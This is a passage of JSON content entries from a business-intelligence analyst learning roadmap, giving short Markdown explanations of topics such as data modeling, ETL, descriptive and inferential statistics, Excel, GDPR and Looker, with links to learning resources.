    "path": "src/data/roadmaps/bi-analyst/content/data-modeling-for-bi@Dk31XtS7wWRzO31sdsEDo.md",
    "content": "# Data Modeling for BI\n\nData modeling involves structuring and organizing data in a way that's optimized for reporting, analysis, and decision-making. It focuses on creating a simplified and efficient representation of data, often using techniques like star or snowflake schemas, to facilitate quick querying and insightful visualizations. The goal is to transform raw data into a format that's easily understood and readily accessible for BI tools and users.\n\nVisit the following resources to learn more:\n\n- [@article@What Is Data Modeling? | IBM](https://www.ibm.com/think/topics/data-modeling)\n- [@article@Data Modeling Explained: Techniques, Examples, and Best Practices](https://www.datacamp.com/blog/data-modeling)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/data-pipeline-design@yvSf7sGEd7QiaVoetalHc.md",
    "content": "# Data Pipeline Design\n\nData pipeline design involves creating a structured flow for data, from its initial sources to its final destination for analysis and reporting. This process includes extracting data from various sources, transforming it into a usable format, and loading it into a data warehouse or other storage system. A well-designed data pipeline ensures data quality, reliability, and efficiency, enabling timely and accurate insights.\n\nVisit the following resources to learn more:\n\n- [@video@Data Engineering Project: Quickly Build a Complex Data Pipeline](https://www.youtube.com/watch?v=IQxhutCbN7A)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/data-quality@bGCMAgaenZ0t3WeO5joyP.md",
    "content": "# Data Quality\n\nData quality refers to the overall usability and reliability of data. It encompasses various dimensions like accuracy, completeness, consistency, timeliness, validity, and uniqueness. High-quality data is essential for making informed decisions and drawing accurate insights, while poor data quality can lead to flawed analyses and incorrect conclusions.\n\nVisit the following resources to learn more:\n\n- [@article@What Is Data Quality?](https://www.ibm.com/think/topics/data-quality)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/data-sources@VUgxDDkoxkOcLxqpTDXzt.md",
    "content": "# Data Sources\n\nData sources are the origins from which data is collected. These sources can be varied, ranging from databases and spreadsheets to web APIs and social media feeds. They provide the raw material that is then processed, analyzed, and transformed into meaningful insights. Understanding the different types of data sources and how to access them is crucial for effective data analysis."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/data-transformation-techniques@hrkMVMYWCedRxhNd2N9wE.md",
    "content": "# Data Transformation Techniques\n\nData transformation techniques involve changing data from one format or structure to another. Common techniques include:\n\n*   **Cleaning:** Handling missing values, correcting errors, and removing duplicates.\n*   **Filtering:** Selecting specific data based on defined criteria.\n*   **Aggregation:** Summarizing data (e.g., calculating sums, averages, counts).\n*   **Joining:** Combining data from multiple sources based on related fields.\n*   **Pivoting:** Rotating data to change rows into columns or vice versa.\n*   **Normalization/Standardization:** Scaling numerical data to a specific range.\n*   **Data Type Conversion:** Changing the data type of a field (e.g., string to integer).\n\nVisit the following resources to learn more:\n\n- [@article@Data Transformation](https://www.qlik.com/us/data-management/data-transformation)\n- [@video@What is Data Transformation? (Types of Data Transformations and Examples!)](https://www.youtube.com/watch?v=TY0NAPAWR3M)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/data-warehouse@wJiKBbTMLhIzelUtKn7jl.md",
    "content": "# Data Warehouse\n\n**Data Warehouses** are data storage systems which are designed for analyzing, reporting and integrating with transactional systems. The data in a warehouse is clean, consistent, and often transformed to meet wide-range of business requirements. Hence, data warehouses provide structured data but require more processing and management compared to data lakes.\n\nVisit the following resources to learn more:\n\n- [@article@What Is a Data Warehouse?](https://www.oracle.com/database/what-is-a-data-warehouse/)\n- [@video@What is a Data Warehouse?](https://www.youtube.com/watch?v=k4tK2ttdSDg)\n- [@video@Data Lake VS Data Warehouse VS Data Marts](https://www.youtube.com/watch?v=w9-WoReNKHk)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/databases@g44bQY90HOeI_dZ8gK2Uj.md",
    "content": "# Databases\n\nA database is a collection of useful data of one or more related organizations structured in a way to make data an asset to the organization. A database management system is a software designed to assist in maintaining and extracting large collections of data in a timely fashion. Some of the most commonly used databases include:\n\n*   Relational databases\n*   NoSQL databases\n*   In-memory databases\n*   Embedded databases\n*   Cloud-based databases\n\nEach database type has its own set of features and use cases, and the choice of which database to use will depend on the specific requirements of the application.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Database?](ttps://www.oracle.com/database/what-is-database/)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/dbt@-KzusmyDQ1NgqOADpqmEX.md",
    "content": "# dbt\n\ndbt, also known as the data build tool, is designed to simplify the management of data warehouses and transform the data within. This is primarily the T, or transformation, within ELT (or sometimes ETL) processes. It allows for easy transition between data warehouse types, such as Snowflake, BigQuery, Postgres, or DuckDB. dbt also provides the ability to use SQL across teams of multiple users, simplifying interaction. In addition, dbt translates between SQL dialects as appropriate to connect to different data sources and warehouses.\n\nVisit the following resources to learn more:\n\n- [@course@dbt Official Course](https://learn.getdbt.com/catalog)\n- [@official@dbt](https://www.getdbt.com/product/what-is-dbt)\n- [@official@dbt Docs](https://docs.getdbt.com/docs/build/documentation)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/descriptive-analysis@vTW3jSZ1bvc0OrP_bl22t.md",
    "content": "# Descriptive Analytics\n\nDescriptive Analytics is one of the fundamental types of Data Analytics that provides insight into the past. As a Data Analyst, utilizing Descriptive Analytics involves the technique of using historical data to understand changes that have occurred in a business over time. Primarily concerned with the “what has happened” aspect, it analyzes raw data from the past to draw inferences and identify patterns and trends. This helps companies understand their strengths, weaknesses and pinpoint operational problems, setting the stage for accurate Business Intelligence and decision-making processes.\n\nVisit the following resources to learn more:\n\n- [@article@Descriptive Analytics: What They Are and Related Terms](https://www.investopedia.com/terms/d/descriptive-analytics.asp)\n- [@article@What are Descriptive Analytics?](https://www.youtube.com/watch?v=DlFqQy10aCs)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/descriptive-statistics@xc1hm_XTyiMUVtWiTKXWG.md",
    "content": "# Descriptive Statistics\n\nDescriptive statistics are methods used to summarize and describe the main features of a dataset. This involves calculating measures like mean, median, and mode to represent central tendency, as well as measures like standard deviation and range to describe the spread or variability of the data. These techniques help to gain initial insights into the data's distribution and characteristics without making inferences beyond the observed sample.\n\nVisit the following resources to learn more:\n\n- [@article@Descriptive Statistics: Definition, Overview, Types, and Examples](https://www.investopedia.com/terms/d/descriptive_statistics.asp)\n- [@article@Descriptive statistics](https://en.wikipedia.org/wiki/Descriptive_statistics)\n- [@article@Intro to Statistics](https://www.udacity.com/course/intro-to-statistics--st101)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/design-principles@EDQjtoTd01ftwXxYkV9it.md",
    "content": "# Design Principles for Data Visualization\n\nEffective data visualization design principles include Clarity, Simplicity, Accuracy, and Consistency, ensuring your visuals are easy to understand and don't mislead the audience. Also important are the context (i.e. providing enough information to understand the data); choosing the right chart type to best tell the story; and applying Design Principles like balance, contrast, and emphasis to create engaging and effective visuals.\n\nVisit the following resources to learn more:\n\n- [@article@10 Essential Data Visualization Design Principles for Clearer Insights](https://www.tenscope.com/post/data-visualization-design-principles-for-clarity)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/diagnostic-analysis@m5aC9aNy9mwLXz0xXBp40.md",
    "content": "# Diagnostic Analytics\n\nDiagnostic analytics, as a crucial type of data analytics, is focused on studying past performance to understand why something happened. This is an integral part of the work done by data analysts. Through techniques such as drill-down, data discovery, correlations, and cause-effect analysis, data analysts utilizing diagnostic analytics can look beyond general trends and identify the root cause of changes observed in the data. Consequently, this enables businesses to address operational and strategic issues effectively, by allowing them to grasp the reasons behind such issues. For every data analyst, the skill of performing diagnostic data analytics is a must-have asset that enhances their analysis capability.\n\nVisit the following resources to learn more:\n\n- [@article@hat is Diagnostic Analytics?](https://amplitude.com/explore/analytics/what-diagnostic-analytics)\n- [@video@What is Diagnostic Analytics? | Understanding Data-Driven Decision Making](https://www.youtube.com/watch?v=ikZjeAC1yJ0)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/discrete-vs-continuous@YSxvg2HrfGoGtpkwY0kGc.md",
    "content": "# Discrete vs. Continuous Variables\n\nDiscrete variables represent countable items, meaning they can only take on specific, separate values (like whole numbers). Continuous variables, on the other hand, can take on any value within a given range, including fractions and decimals. Understanding the difference is crucial for choosing the right statistical methods and interpreting data accurately.\n\nVisit the following resources to learn more:\n\n- [@article@Continuous or discrete variable](https://en.wikipedia.org/wiki/Continuous_or_discrete_variable)\n- [@article@Intro to Statistics](https://www.udacity.com/course/intro-to-statistics--st101)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/dispersion@1D98k1HNCaaiaI20euVwA.md",
    "content": "# undefined\n\nDispersion measures offers a crucial way to understand the variability or spread in a set of data. Distinct measures of dispersion such as range, variance, standard deviation, and interquartile range gives BI analysts insight into how spread out data points are, and how reliable any patterns detected may be. This understanding of dispersion helps data analysts in identifying outliers, drawing meaningful conclusions, and making informed predictions.\n\nVisit the following resources to learn more:\n\n- [@article@What is dispersion?](https://www.investopedia.com/terms/d/dispersion.asp)\n- [@article@Intro to Statistics](https://www.udacity.com/course/intro-to-statistics--st101)\n- [@video@Statistics 101 - Measures of Dispersion](https://www.youtube.com/watch?v=goXdWMZxlqM)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/distribution@JSqwWsfojjZTe8ynmA7fc.md",
    "content": "# Distribution\n\nTwo additional statistics to better understand the distribution of your datasets are skewness and kurtosis, which measures distribution asymetry, whereas kurtosis measurs the \"tailedness\" and peakedness of a distribution.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Skewness And Kurtosis And How to Plot Them](https://www.datacamp.com/tutorial/understanding-skewness-and-kurtosis)\n- [@article@Intro to Statistics](https://www.udacity.com/course/intro-to-statistics--st101)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/dplyr@ZAhjB_ghHukD4RPAtNDxh.md",
    "content": "# dplyr for Exploratory Data Analysis\n\ndplyr is an R package that makes data manipulation and exploration easier. It provides a consistent set of verbs, like `filter`, `select`, `mutate`, `summarize`, and `arrange`, that allow you to quickly perform common data analysis tasks. These functions are designed to be intuitive and work together seamlessly, letting you chain operations to efficiently clean, transform, and gain insights from your data. This streamlined approach helps you understand your data's structure, identify patterns, and prepare it for further analysis or visualization.\n\nVisit the following resources to learn more:\n\n- [@official@dplyr](https://dplyr.tidyverse.org/)\n- [@article@Exploratory Data Analysis with dplyr](https://www.gastonsanchez.com/intro2cwd/eda-dplyr.html)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/duplicates@xjgqmJmetKpWXSWZHPwaL.md",
    "content": "# Duplicate Data\n\nDuplicate data refers to instances where the same piece of information is repeated within a dataset. This can occur due to various reasons, such as human error during data entry, system glitches, or integration of data from multiple sources. Identifying and removing or merging these duplicates is crucial for ensuring data accuracy and reliability.\n\nVisit the following resources to learn more:\n\n- [@article@Data Duplication Implications and Solutions](https://www.oracle.com/uk/data-duplication/)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/end-to-end-analytics-project@3xDVJwdl3uu5EcjlZ1ytA.md",
    "content": "# End-to-End Analytics Project\n\nAn end-to-end analytics project encompasses the entire process of solving a business problem using data. This involves defining the problem, gathering and cleaning data, performing exploratory data analysis, building and deploying a model or visualization, and communicating the results and recommendations to stakeholders. It demonstrates a comprehensive understanding of the analytics lifecycle.\n\nVisit the following resources to learn more:\n\n- [@article@20 Data Analytics Projects for All Levels](https://www.datacamp.com/blog/data-analytics-projects-all-levels)\n- [@video@End to End Data Analytics Project (Python + SQL)](https://www.youtube.com/watch?v=uL0-6kfiH3g)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/ethical-data-use@Vb06K0D2vWAlSe95QJrth.md",
    "content": "# Ethical Data Use\n\nEthical data use refers to the responsible and morally sound application of data in decision-making processes. It involves considering the potential impact of data analysis and insights on individuals, groups, and society as a whole, ensuring fairness, transparency, and accountability. This includes respecting privacy, avoiding bias, and using data in ways that promote positive outcomes while minimizing harm.\n\nVisit the following resources to learn more:\n\n- [@article@An Introduction to Data Ethics: What is the Ethical Use of Data?](https://www.datacamp.com/blog/introduction-to-data-ethics)\n- [@article@5 Principles of Data Ethics for Business](https://online.hbs.edu/blog/post/data-ethics)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/etl-basics@Du4GD-6pxbWYl4uSJRnOE.md",
    "content": "# ETL Basics\n\nETL, which stands for Extract, Transform, and Load, is a process used to move data from various source systems into a data warehouse or other data repository. It involves extracting data from different sources, transforming it into a consistent and usable format, and then loading it into the target system for analysis and reporting. This process ensures data quality and consistency, making it easier to derive meaningful insights.\n\nVisit the following resources to learn more:\n\n- [@article@What is ETL?](https://www.snowflake.com/guides/what-etl)\n- [@video@ETL Explained](https://www.youtube.com/watch?v=OW5OgsLpDCQ)\n- [@feed@Explore top posts about ETL](https://app.daily.dev/tags/etl?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/etl-tools@lAK9QVs97hL3ysjz2blp8.md",
    "content": "# ETL Tools\n\nETL (Extract, Transform, Load) tools are software applications used to move data from various source systems into a data warehouse or other target system. These tools extract data from different sources, transform it into a consistent and usable format, and then load it into the destination system for analysis and reporting. This process ensures data quality and consistency, making it easier for business intelligence analysts to derive meaningful insights."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/excel@9BWyA0b4WrmQetSMph_mY.md",
    "content": "# Excel for Exploratory Data Analysis\n\nExcel is a readily available and user-friendly tool that's great for getting a first look at your data. It allows you to quickly sort, filter, and calculate basic statistics like averages and sums. You can also create simple charts and graphs to visualize trends and patterns, helping you understand your data's main characteristics and identify potential areas for deeper investigation, all without needing specialized programming knowledge.\n\nVisit the following resources to learn more:\n\n- [@article@Exploratory Data Analysis in Excel](https://www.scaler.com/topics/exploratory-data-analysis-projects/)\n- [@video@Exploratory Data Analysis With Excel](https://www.youtube.com/watch?v=1zEFJHbG0aE&list=PLTJTBoU5HOCRFQhfU1gg2ciNpS_evWKR7)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/excel@Dh62zxyyUHh0galD472p8.md",
    "content": "# Excel Files\n\nExcel files are a common way to store and organize data in a spreadsheet format. They use rows and columns to arrange information, allowing for easy viewing and manipulation. These files can contain various data types like text, numbers, dates, and formulas to perform calculations. Excel files are widely used for data entry, analysis, and reporting due to their user-friendly interface and versatility."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/excel@LLK3_hudKDX5d-fd98vlx.md",
    "content": "# Excel\n\nExcel is a spreadsheet program used for organizing, analyzing, and storing data in tables. It allows users to perform calculations, create charts and graphs, and automate tasks using formulas and macros. It is widely used for data entry, data cleaning, and basic data analysis.\n\nVisit the following resources to learn more:\n\n- [@official@Microsoft Excel](https://www.microsoft.com/microsoft-365/)\n- [@video@Excel Full Course Tutorial (4+ Hours)](https://www.youtube.com/watch?v=rro5t8eHXaY)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/exploratory-data-analysis-eda@ETT9eATuyLHQe2jPqaF5I.md",
    "content": "# Exploratory Data Analysis (EDA)\n\nExploratory Data Analysis (EDA) is an approach to analyzing data sets to summarize their main characteristics, often with visual methods. It's used to discover patterns, spot anomalies, test hypotheses, and check assumptions with the help of summary statistics and graphical representations. The goal of EDA is to gain a deeper understanding of the data before formal modelling or hypothesis testing.\n\nVisit the following resources to learn more:\n\n- [@article@What is Exploratory Data Analysis?](https://www.ibm.com/think/topics/exploratory-data-analysis)\n- [@video@Exploratory Data Analysis](https://www.youtube.com/watch?v=QiqZliDXCCg)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/fact-vs-dimension-tables@hcbS18cpVxd55hVlUeLLT.md",
    "content": "# Fact vs Dimension Tables\n\nFact tables store quantitative data (facts) about business events, like sales or website visits. These tables are typically large and contain foreign keys referencing dimension tables. Dimension tables, on the other hand, store descriptive attributes about the facts, such as customer details, product information, or dates. They provide context for analyzing the facts in the fact table.\n\nVisit the following resources to learn more:\n\n- [@article@Fact Table vs Dimension Table: What's the Difference](https://www.simplilearn.com/fact-table-vs-dimension-table-article)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/finance@cxTriSZvrmXP4axKynIZW.md",
    "content": "# Finance\n\nFinance encompasses the activities related to managing money and investments. It involves planning, organizing, controlling, and monitoring financial resources to achieve organizational goals. Key areas within finance include budgeting, financial planning, investment management, and risk management, all aimed at ensuring the financial health and stability of a business."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/finance@xftv5BiyoVrFjpSN0tjsw.md",
    "content": "# BI Applications in Finance\n\nBusiness Intelligence tools help analyze large datasets to improve decision-making in the finance sector. They are used to track financial performance, identify trends, manage risk, and detect fraud. BI applications provide insights into profitability, customer behavior, and operational efficiency, enabling financial institutions to optimize their strategies and improve their bottom line."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/financial-performance@1T2PyytlmndHreWgueD55.md",
    "content": "# Financial Performance\n\nFinancial performance refers to how well a company uses its assets to generate revenue. It's measured through various financial metrics and ratios that provide insights into a company's profitability, efficiency, solvency, and liquidity. Analyzing financial performance helps stakeholders understand the overall health and sustainability of a business.\n\nVisit the following resources to learn more:\n\n- [@article@Financial Performance: Definition, How It Works, and Example](https://www.investopedia.com/terms/f/financialperformance.asp#:~:text=A%20financial%20performance%20analysis%20examines,statements%20used%20in%20performance%20analysis.)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/forecasting@ExHCSUDxDBwsJtTelvxjP.md",
    "content": "# Forecasting\n\nForecasting is a technique used to predict future values based on historical data. It involves analyzing past trends and patterns to estimate what is likely to happen in the future. This can be done using various statistical methods and algorithms, taking into account factors like seasonality, trends, and cyclical patterns to generate informed predictions.\n\nVisit the following resources to learn more:\n\n- [@video@Complete Time Series Analysis and Forecasting with Python](https://www.youtube.com/watch?v=eKiXtGzEjos)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/fraud-detection@aJLGan5dkMefvkspFlcYo.md",
    "content": "# Fraud Detection\n\nFraud detection involves identifying and preventing deceptive or illegal activities in financial transactions. It uses data analysis techniques to spot patterns and anomalies that deviate from normal behavior, helping organizations minimize financial losses and maintain integrity. This process often involves analyzing large datasets of transactions, customer information, and other relevant data to flag suspicious activities for further investigation.\n\nVisit the following resources to learn more:\n\n- [@article@What Is Fraud Analytics and How to Use Data for Fraud Detection?](https://www.feedzai.com/blog/fraud-data-analytics/)\n- [@article@Data analysis for fraud detection](https://en.wikipedia.org/wiki/Data_analysis_for_fraud_detection)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/gdpr@CWf_vL78f8-mSUQbPnU8e.md",
    "content": "# GDPR\n\nThe General Data Protection Regulation (GDPR) is a European Union law focused on protecting the privacy and personal data of individuals within the EU and the European Economic Area (EEA). It dictates how organizations collect, use, and store personal information, giving individuals more control over their data and imposing strict rules on data processing activities. GDPR aims to standardize data protection laws across Europe and applies to any organization that processes the personal data of EU residents, regardless of the organization's location.\n\nVisit the following resources to learn more:\n\n- [@official@GPDR](https://gdpr-info.eu/)\n- [@article@What is GDPR, the EU’s new data protection law?](https://gdpr.eu/what-is-gdpr/)\n- [@article@EU GDPR summary |What is the GDPR?](https://www.youtube.com/watch?v=I-VuonciKWk)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/healthcare@VpGVezYr9O6puhAF12PN2.md",
    "content": "# Healthcare\n\nBusiness Intelligence can be a game-changer in healthcare, helping hospitals, clinics, and other medical organizations make better decisions. It involves collecting and analyzing data from various sources, like patient records, insurance claims, and operational systems. This data is then used to identify trends, improve patient care, optimize resource allocation, reduce costs, and enhance overall efficiency within the healthcare system.\n\nVisit the following resources to learn more:\n\n- [@article@What Is Health Care Business Intelligence?](https://www.coursera.org/articles/healthcare-business-intelligence)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/heatmap@SNkYi2VZsCRG31v63v8_x.md",
    "content": "# Heatmaps\n\nA heatmap is a graphical representation of data where values are depicted using color. It allows you to quickly identify patterns, correlations, and variations in large datasets by representing data points as colored cells in a matrix. The color intensity typically corresponds to the magnitude of the value, making it easy to spot high and low values at a glance."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/histogram@wqLcUFVsLa_l9yQIee9MG.md",
    "content": "# Histogram\n\nA histogram is a type of bar chart that visually represents the distribution of numerical data. It groups data into bins (or intervals) and displays the frequency (or count) of data points falling within each bin. This allows you to quickly understand the underlying frequency distribution, identify patterns like skewness or outliers, and gain insights into the central tendency and spread of the data."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/hospital-efficiency@ku3m0ZmNg23F0Z5CEb4JI.md",
    "content": "# Improving Hospital Efficiency with Data Analytics\n\nData analytics can help hospitals run smoother and provide better care. By looking at data on patient flow, staffing levels, and resource usage, hospitals can identify bottlenecks and areas for improvement. For example, analyzing wait times in the emergency room can reveal patterns that suggest the need for more staff during peak hours. Similarly, tracking the use of medical equipment can help hospitals optimize inventory and reduce waste. Ultimately, data-driven insights enable hospitals to make informed decisions that improve efficiency, reduce costs, and enhance patient outcomes.\n\nVisit the following resources to learn more:\n\n- [@article@Improving Hospital Efficiency with Health Data Analytics](https://futuramo.com/blog/improving-hospital-efficiency-with-health-data-analytics/)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/hr@KeGCHoJRHp-mBX-P5to4Y.md",
    "content": "# Human Resources (HR)\n\nHuman Resources (HR) is the area within a company responsible for managing employees. This includes recruiting, hiring, training, and developing employees, as well as handling compensation, benefits, and employee relations. HR ensures legal compliance with labor laws and company policies, and aims to create a positive and productive work environment."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/hypothesis-testing@6xfQic8dMwUsMQa7VtS8_.md",
    "content": "# Hypothesis Testing\n\nHypothesis testing is a statistical method used to determine whether there is enough evidence in a sample of data to infer that a certain condition is true for an entire population. It involves formulating a null hypothesis (a statement of no effect or no difference) and an alternative hypothesis (a statement that contradicts the null hypothesis), then using sample data to assess the likelihood of observing the data if the null hypothesis were true. Based on this likelihood, a decision is made to either reject the null hypothesis in favor of the alternative or fail to reject the null hypothesis.\n\nVisit the following resources to learn more:\n\n- [@article@Hypothesis Testing](https://latrobe.libguides.com/maths/hypothesis-testing)\n- [@article@Hypothesis Testing - 4 Steps](https://www.investopedia.com/terms/h/hypothesistesting.asp)\n- [@article@Intro to Inferential Statistics](https://www.udacity.com/course/intro-to-inferential-statistics--ud201)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/inferential-statistics@7DNtRMBZ_F0K1FQk-UCM4.md",
    "content": "# Inferential Statistics\n\nInferential statistics uses sample data to make inferences or predictions about a larger population. It involves techniques like hypothesis testing, confidence intervals, and regression analysis to draw conclusions beyond the immediate data set. The goal is to estimate population parameters and assess the likelihood of certain outcomes based on the observed sample.\n\nVisit the following resources to learn more:\n\n- [@course@Intro to Inferential Statistics](https://www.udacity.com/course/intro-to-inferential-statistics--ud201)\n- [@article@Inferential Statistics | An Easy Introduction & Examples](https://www.scribbr.com/statistics/inferential-statistics/)\n- [@article@Statistical inference](https://en.wikipedia.org/wiki/Statistical_inference)\n- [@video@Inferential Statistics FULL Tutorial](https://www.youtube.com/watch?v=6E6pB5JFLgM)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/interpretability@uP8MWZqM9Z0i3eDF4Ldxv.md",
    "content": "# Interpretability\n\nInterpretability refers to the degree to which a human can understand the cause of a decision. In the context of data quality, it means that data should be clear, understandable, and easily interpreted by users. This ensures that insights derived from the data are accurate and can be confidently used for decision-making."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/interview-preparation@4XM5ikPiHVehEtT4AB-Ea.md",
    "content": "# Interview Preparation\n\nInterview preparation involves actively preparing for job interviews by practicing common questions, researching the company and role, and refining your communication skills. This process helps you present yourself effectively, demonstrate your qualifications, and increase your confidence during the interview, ultimately improving your chances of landing the job.\n\nVisit the following resources to learn more:\n\n- [@article@BI Analyst Interview Questions and Answers (2025)](https://365datascience.com/career-advice/job-interview-tips/bi-analyst-interview-questions/)\n- [@video@2 Hour Data Analyst Interview Masterclass](https://www.youtube.com/watch?v=F5v2dRYU5IA)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/introduction@PxOEfMSQYA2jy3zrMZXjZ.md",
    "content": "# BI Analyst\n\nA Business Intelligence (BI) Analyst interprets data to identify patterns and trends, providing insights that help organizations make better decisions. They work with data from various sources, clean and transform it, and then use tools and techniques to analyze it. The goal is to translate complex data into actionable recommendations for improving business performance."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/inventory-optimization@LkbB0rpS3Du2K7_ogoc34.md",
    "content": "# Inventory Optimization\n\nInventory optimization is the process of strategically managing and controlling the flow of goods to minimize costs while meeting customer demand. It involves analyzing historical sales data, forecasting future demand, and considering factors like lead times, storage costs, and potential obsolescence to determine the optimal quantity of each product to keep in stock. The goal is to strike a balance between avoiding stockouts and minimizing excess inventory, ultimately improving profitability and customer satisfaction.\n\nVisit the following resources to learn more:\n\n- [@article@6 effective inventory optimization techniques your team should be using](https://www.thoughtspot.com/data-trends/analytics/inventory-optimization-techniques)\n- [@article@What Is Inventory Optimization? Benefits and Techniques](https://www.netsuite.com/portal/resource/articles/inventory-management/inventory-optimization.shtml)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/iot@GrwdQldCWu2zWAaNj6LFk.md",
    "content": "# IoT Data Sources\n\nIoT (Internet of Things) data sources refer to the vast array of devices and sensors connected to the internet that generate data. These devices, ranging from smart home appliances and wearable fitness trackers to industrial sensors and connected vehicles, continuously collect and transmit information about their environment or usage. This data can include measurements like temperature, location, pressure, speed, and a multitude of other variables, providing a rich stream of real-time insights."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/iqr@LEHK7ohKIzKhlGebd0k_j.md",
    "content": "# Interquartile Range (IQR)\n\nThe Interquartile Range (IQR) is a measure of statistical dispersion, representing the spread of the middle 50% of a dataset. It's calculated as the difference between the third quartile (Q3) and the first quartile (Q1). The IQR is resistant to outliers, making it a robust measure of variability when extreme values are present.\n\nVisit the following resources to learn more:\n\n- [@article@Interquartile range](https://en.wikipedia.org/wiki/Interquartile_range)\n- [@article@How to Find Interquartile Range (IQR)](https://www.scribbr.com/statistics/interquartile-range/)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/job-preparation@TojDB4o0i2rs7Qcb10k1r.md",
    "content": "# Job Preparation\n\nJob preparation involves the steps you take to get ready for the job application and interview process. This includes activities like researching potential employers, tailoring your resume and cover letter to specific job descriptions, practicing common interview questions, and developing your professional network. The goal is to present yourself as a qualified and compelling candidate, increasing your chances of landing a job offer."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/json@p21d2mEUnTQgWhKFTGS9F.md",
    "content": "# JSON\n\nJSON (JavaScript Object Notation) is a lightweight, human-readable format for storing and transporting data. It uses a text-based format to represent data objects as attribute-value pairs and arrays, making it easy for both humans and machines to parse and generate. JSON is commonly used for transmitting data in web applications (e.g., sending data from a server to a web browser) and is supported by many programming languages.\n\nVisit the following resources to learn more:\n\n- [@article@JSON](https://www.json.org/)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/key-business-functions@PkzUqwT21Owk_TfepFPDm.md",
    "content": "# Key Business Functions\n\nKey business functions are the specialized activities that a company undertakes to operate effectively and achieve its goals. These functions typically include areas like finance, marketing, operations, human resources, sales, nd research & development, each playing a distinct role in the overall success of the organization. Understanding how these functions interact and contribute to the business is crucial for analyzing performance and identifying areas for improvement."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/kurtosis@jvU1iu2M_y1IH62oUpAeU.md",
    "content": "# Kurtosis\n\nKurtosis is a statistical measure of a probability distribution's \"tailedness,\" indicating the extent to which extreme values (outliers) are present compared to a normal distribution. It assesses the presence of both peakedness and heavy/light tails, categorizing distributions as leptokurtic (heavy, long tails and a sharp peak), platykurtic (light, short tails and a flat top), or mesokurtic (similar to a normal distribution).\n\nVisit the following resources to learn more:\n\n- [@article@Kurtosis](https://en.wikipedia.org/wiki/Kurtosis)\n- [@article@What Is Kurtosis? | Definition, Examples & Formula](https://www.scribbr.com/statistics/kurtosis/)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/linear-regression@4-fpZx8p5iSNI3n4Qtacl.md",
    "content": "# Linear Regression\n\nLinear regression is a statistical method used to model the relationship between a dependent variable and one or more independent variables by fitting a linear equation to observed data. It aims to find the best-fitting line (in simple linear regression) or plane (in multiple linear regression) that minimizes the difference between the predicted values and the actual values of the dependent variable. This allows for predicting future values or understanding the influence of the independent variables on the dependent variable.\n\nVisit the following resources to learn more:\n\n- [@course@Intro to Inferential Statistics](https://www.udacity.com/course/intro-to-inferential-statistics--ud201)\n- [@article@What Is Linear Regression?](https://www.ibm.com/think/topics/linear-regression)\n- [@article@Linear regression](https://en.wikipedia.org/wiki/Linear_regression)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/lineplot@BVDaFmDat48nN3hj5NE71.md",
    "content": "# Line Plots\n\nLine plots are a type of data visualization that displays data points connected by straight lines. They are used to show trends and changes in data over a continuous interval, such as time. Each point on the line represents a specific data value, and the lines connecting the points illustrate the relationship between consecutive values."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/looker@f4MDT1RUfaICAWzyG2E6T.md",
    "content": "# Looker\n\nLooker is a Google cloud-based business intelligence and data analytics platform. It allows users to explore, analyze, and visualize data to gain insights and make data-driven decisions. Looker is known for its ability to connect to various data sources, create custom dashboards, and generate reports. It also facilitates the integration of analytics, visualizations, and relevant information into business processes.\n\nVisit the following resources to learn more:\n\n- [@official@ooker business intelligence platform embedded analytics](https://cloud.google.com/looker)\n- [@official@What is Looker?](ttps://www.youtube.com/watch?v=EmkNPAzla0Y&pp=0gcJCfwAo7VqN5tD)"
  },
  {
